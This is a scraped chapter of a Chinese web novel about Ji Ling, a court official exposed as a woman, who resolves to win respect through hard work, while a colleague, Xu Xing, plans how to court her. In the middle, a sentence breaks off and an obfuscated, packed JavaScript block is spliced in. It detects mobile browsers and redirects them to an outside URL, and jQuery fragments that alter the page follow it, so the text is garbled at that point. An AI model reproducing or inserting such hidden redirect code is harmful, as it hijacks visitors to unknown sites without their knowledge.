63. 得胜于失美玉合双

作品:《季大人升官笔记

    季泠身份的争议渐渐被三个假日的庆贺掩盖。


    可她的境况却是比曾经更为艰难。


    第一年入户部时,她就因为不善言辞、不喜酒乐活动而渐渐被同僚排除在消息圈子之外,与闫有德关系不错的几人虽不至于明面与她为敌,可也只是泛泛之交。


    去年,因为她与钟荡云的关系,以及书院之事,同僚不免暗中对她心生忌惮。


    这一切,她不是感觉不到。可她实在不知道如何是好,只能尽力随着祝扶春一起,去维持关系。


    借着几次公宴私席与登山游水,她好不容易融入其中,如今全因她一朝暴露而白做功夫。


    她都是个女人了,那些人还有什么话可跟她说,还有什么经验可传授给她的?


    只对她纷纷避之而不及。


    二十出头的年轻人、朝中的第一个女人、爱出风头、不够谦逊、尽职勤恳的格格不入、言行不够周到圆滑、与他部上官关系过密、与顶头上司关系闹僵、与同僚关系惨淡、没有家族同窗相助……


    桩桩件件,她都犯了官场大忌。


    元旦假中,季泠将自己关在浮云堂内冥思苦想数日,叹气连连。


    “怎么?还没想好,年后以如何面貌回去吗?”


    季泠握拳锤于掌心,终于下定决心。


    林微见她似乎踌躇满志,大胆问道:“有主意了?”


    “是。”


    “说来听听?”


    “破罐子破摔。”


    “啊?”林微张大嘴,“你把自己关起来想了三四日,就想到这样的法子?”


    季泠歪嘴挑笑,摇了摇指头。


    “林微,你喜欢我吗?”


    林微一阵恶寒,缩了缩脖子:“什么鬼问题?”


    “不是,我的意思是,你当年,见到我、与我相处一段时间后,你会因我这个人而喜欢我吗?”


    “那是自然,你仗义、诚挚、爽快,似乎任何事情都难不住你,你总有无尽活力,叫人只在你身边停留片刻,便无断生出蓬勃昂扬之气。”


    “那就说明,我其实不差劲。既然如此,我何必继续改变自己,去逢迎那些人的喜好?”


    “可你若不改变,你又如何获得他们的认可呢?你毕竟是官员,在官场,会做事的不如会写文的,会写文的不如会做人的。”


    季泠踌躇满志道:“一个书院之中,最受欢迎、最得器重的,是最会说话的那个吗?”


    林微想想,似乎也并非如此。


    “那便对了,我不要最得人心,略得即可。如何略得呢?成为最有本事的那个,就行了。在书院之中,哪怕三甲之人再如何落落寡合,其他人还是忍不住靠近他们,想方设法与之结交。”


    “你的意思是,再不掩藏自己了?”


    季泠点头,双眼明亮。


    “女子身份如何?闫有德的黑手又如何?他们妄想以此击溃我,让我麻溜儿地滚出男人的朝堂?做梦!我偏不!”


    季泠激动地在浮云堂来回踱步,愈走愈快,愈说愈急,几乎要磨出几点火星子,自己便热烈绽光起来。


    “这个世上,没有任何人与事能将我击倒,除了难以动摇的权力。所以,我要抢占先机,掀翻它,再握在自己手里。”


    季泠神采奕奕,身侧不通政事的白芨与白蔹都免不了被鼓舞。


    “就是!我们大人是顶厉害的人!才不会被他们那群酒囊饭袋打倒!”白蔹扬起下巴,满脸骄傲与得意。


    季泠笑着看去,狠狠点头:“从前为了装作男人,我免不得装得谨小慎微,如今既然都暴露了,我又何必继续?他们想看我承受不住压力,想叫我因恐惧而退缩,那绝不能够!这回,我便以本来面目回去,将压抑本性的气力全投入公事之中。若我政绩昭彰,你说,他们还会对我避之不及吗?”


    林微笑道:“那便转而赞你个性鲜明,不随大流。”


    “正是如此!”


    年初双节已过,季泠出现在众人面前时,还是那身青袍。


    只是,与众人预料不同的是,她在公务之上再不退让,愈发雷厉风行、说一不二,不容任何人置喙她的女子身份。


    她会听到,身边的人便会以“你这样的,竟是个女人”此类的话来恭维她的果决。


    季泠怒目而视,终于找到良机反驳正声:“怎么?你们男人圣贤书读了这数十年,对世间万物的衡量评判就如此狭隘,女人只能是温柔小意、轻声细语的?就许树有千种,花有万朵,就许你们男人随心所欲、各有模样,就不许我们女人肆意张扬了吗?”


    而被她怒怼的人却张口半晌,想不出任何反驳之言。


    众人多说,她在户部越来越横行霸道,女子身份被揭开后,她几乎就像露出本性,训斥起人来就像是用绣花针扎进指甲缝中,带来一种具体而专注的疼痛。


    祝扶春对这种感觉尤为明显,他现在好像说什么都成了错,一不小心就踩到季泠的尾巴上,让她张牙舞爪。


    “不是不是,执庸你又误解我。”


    季泠听到“又”这个字,明白自己又没控制住戾气,提手运气,深呼吸了几下,让自己平复情绪。


    “抱歉扶春兄,是我不好,最近被这些杂事惹得心烦。”


    季泠说完这句话时,自己也呆了一瞬。


    她在节时想得挺美,可真回到户部大展身手起来,却没她想得那么顺利。


    她要忙的公务实在太多了,要批呈状,写文书,阅故牒,进奏疏,还要看账簿,核名实,稽疏漏,勘误错,更要跟进书院建设、生源、财政等安排,年后一月,她夜夜点灯熬鹰。


    而在此繁忙诸事之中,众人对她的认可却因她的女子身份而瓦解。她想力拔头筹得到簇拥,可却并非一日之功,现在她做事左右掣肘,就因为同僚皆不信任她的能力。


    她想要斐然政绩,为了史书青册寥寥几笔给她兴造的美梦,她便要殚精毕力。


    她难免烦躁起来。且就在刚刚,季泠突然意识到,她的变化远不止如此。


    她似乎近两年常说这些字眼——心烦、头疼、杂事、烂事,诸如此类。


    她这么快就厌烦了户部这些永不消停的公务?可挥笔舞墨,尽抒己功,这曾经是她梦寐以求的生活啊。才不到三年,她竟然就变了,究竟是哪里变了?


    祝扶春反来安慰她:“事情总是做不完的,你越做,就越多,总有问题,总有错处,可人总该休息。今年的元旦元宵,你定也是躲在家里看公文账册吧?”


    季泠抿唇,微微点头,嗯,也算是在处理公务吧,在哪儿就不好说了。


    “看吧!你不是钢铁草木,七情六欲,总该有地方发泄的。你成天伏在案前,看着一堆眼花缭乱的数字,可不是心烦意乱了?眼下春景宜人,不如找个空,咱们出去走走。”


    季泠突忆起当年在宣大时,抬头是辽阔的天,前方是广袤的地,似乎心境也因而豁达,多了几分畅快无拘。


    如今天天不是户部衙门就是浮云堂书房,确实是把她给闷坏了。


    “那该去哪儿呢…”季泠思忖中,随手翻着公案上的《中庸》,突然想到一个好去处。


    “后日吧,后日休沐,我们去京郊。”


    祝扶春见她有了主意,已然展露期盼笑颜,也因她而笑:“好,咱们就去京郊。”


    自从去年经由林清许的点拨,又借着假期闭门剖心几日,徐行终于算是领悟了情道。


    只可惜,这一月来,他几乎见不到季泠。


    季泠也不知在忙些什么,而他的吏部也并不轻松。陛下逐渐开始提拔亲信,为汉王擢选良材,以佐其长了。而这其中,就有不少寒门子弟,背景干净,忠直无二,可堪为用。


    毕竟,世家庞杂,恐生二心,汉王难以驾驭。可寒门子弟,权势甚微,还需时日。


    兴许这就是皇上愿意冒险选用季泠与开设华峰书院的原因。


    想到季泠,徐行又不免忧愁。


    他该如何与季泠说清楚呢?他们如今几乎没有公事的交集。


    书院已经落定了,季泠所辖之事与他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446325|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又少沟通,秋粮起运,她便更忙了,每回下朝,他一转头,只能见那青影风风火火地刮出宫门,又回到户部衙门中去。


    私事便更不必说了,若非身份之故,季泠怕是直接睡在户部衙门里,如今哪里有私事能请得动她的?


    林清许看着他们两人也实在有趣:“要我说啊,你们俩和还真是般配,平日料理公务的那股聪明劲儿都哪去了,眼睛心头都像被大雾蒙住似的,看也看不清,想也想不明的。你愚钝,季执庸比你更愚钝。”


    徐行扫他一眼:“你不愚钝,看得透彻明白。和我一般大的年纪,不照样孤家寡人一个?我看,你父亲比我父亲更着急才是。”


    林清许黯然:“我也想啊,可惜不行。”


    徐行见他突然落寞,奇怪道:“什么不行?”


    “没什么,没我喜欢的,我不想将就,也不想耽误其它姑娘,所以不行。总归我大哥已经有了孩子,我父亲倒也没那么在意我了。只是,你徐家可就你一个啊。”


    “我该怎么做才能让她想明白呢?”徐行又绕回自己的问题上。


    “你想娶她?”


    “这是自然,不然我来找你问这么多做什么。”


    林清许抖开扇子,逍遥地扇了扇:“我看难。”


    “为何?可我们两情相悦。”


    “那是你以为的两情相悦,季执庸知道吗?她既不知道你喜欢她,也不知道她自己喜欢你。”


    林清许想了想,却又觉得哪里不对劲:“而且,你怎么知道,她就喜欢你了呢?没准是你一厢情愿呢?我看你们平日私交也不多啊?就理个书院,就看对眼了?”


    “这世上,唯有两件事,最难掩藏。”


    “什么?”


    徐行胜券在握般笑了笑:“喜欢与厌恶。”


    林清许睨着他:“切,尽说些酸话。我就没看出来她喜欢你,倒是你自己独独在这儿唱大戏般幻想。若是朝中同僚知道,素来清心寡欲又运筹帷幄的徐大人,关起门来却在冥思苦想着怎么获得季执庸的青睐,怕是贻笑大方了。”


    徐行不欲与他言说过多,虽借着与林清许请教,可他只是想安自己的心。


    “别说你看不出来,怕是她自己,都不知道呢……”徐行叹道。


    林清许见他为情所困的模样,实在是有趣之极。


    “从前从不见你对什么上心,说要对付谁,你也摆一副事不关己的态度。怎么,如今转性了?”林清许大为惊异,连连摇头,“你在这儿郎心暗许的,季执庸可还全然不知呢!”


    “她心思敏锐,我也点她一下,迟早她会想明白。”徐行有这个信心。


    林清许却给他泼一盆凉水:“即便她知道你们两情相悦又如何?情爱与婚姻并不相同。她是多么审时度势的一个人,会甘愿嫁给你,离开朝堂?”


    “谁说嫁给我后便要离开朝堂?她大可以继续干她的事业,我还能襄助帮扶,为她扫清障碍。”


    “你想得太少了润旻。她一个女人,爬到现在的位置,全然靠的自己。她牺牲了一切,只换得这一件珍视的东西。若是她要嫁给你,她不得已要有所舍弃,要卷入你的家族之中,处理你后宅之事,甚至这辈子都会被人冠上徐夫人的名头,这些都是她不想要的,只会成为她的桎梏,绊住她前进之路。以季执庸的性子,她宁愿痛苦,也会将这一切都斩断,甚至为了彻底结束,而选择跟你再无瓜葛。”


    林清许就是这样过来的,他痛彻心扉,心知肚明。


    徐行沉思道:“是我考虑不周,我该先将我们之间的所有阻碍,全部清除。”


    林清许看他这幅模样,知道自己话讲的太重了,还是要给他一点希望:“倒也不至于全无可能,感情不就是这样,在彼此都能包容的范围内,你们两人各退一步,你替她多周全一些,她为你多妥协一点,兴许合计得当,得胜于失,这也是说不准的事情。”


    “得胜于失。”徐行喃喃一笑,就该如此才是。


    季泠若是和他成亲,两人合该得胜于失,美玉合双。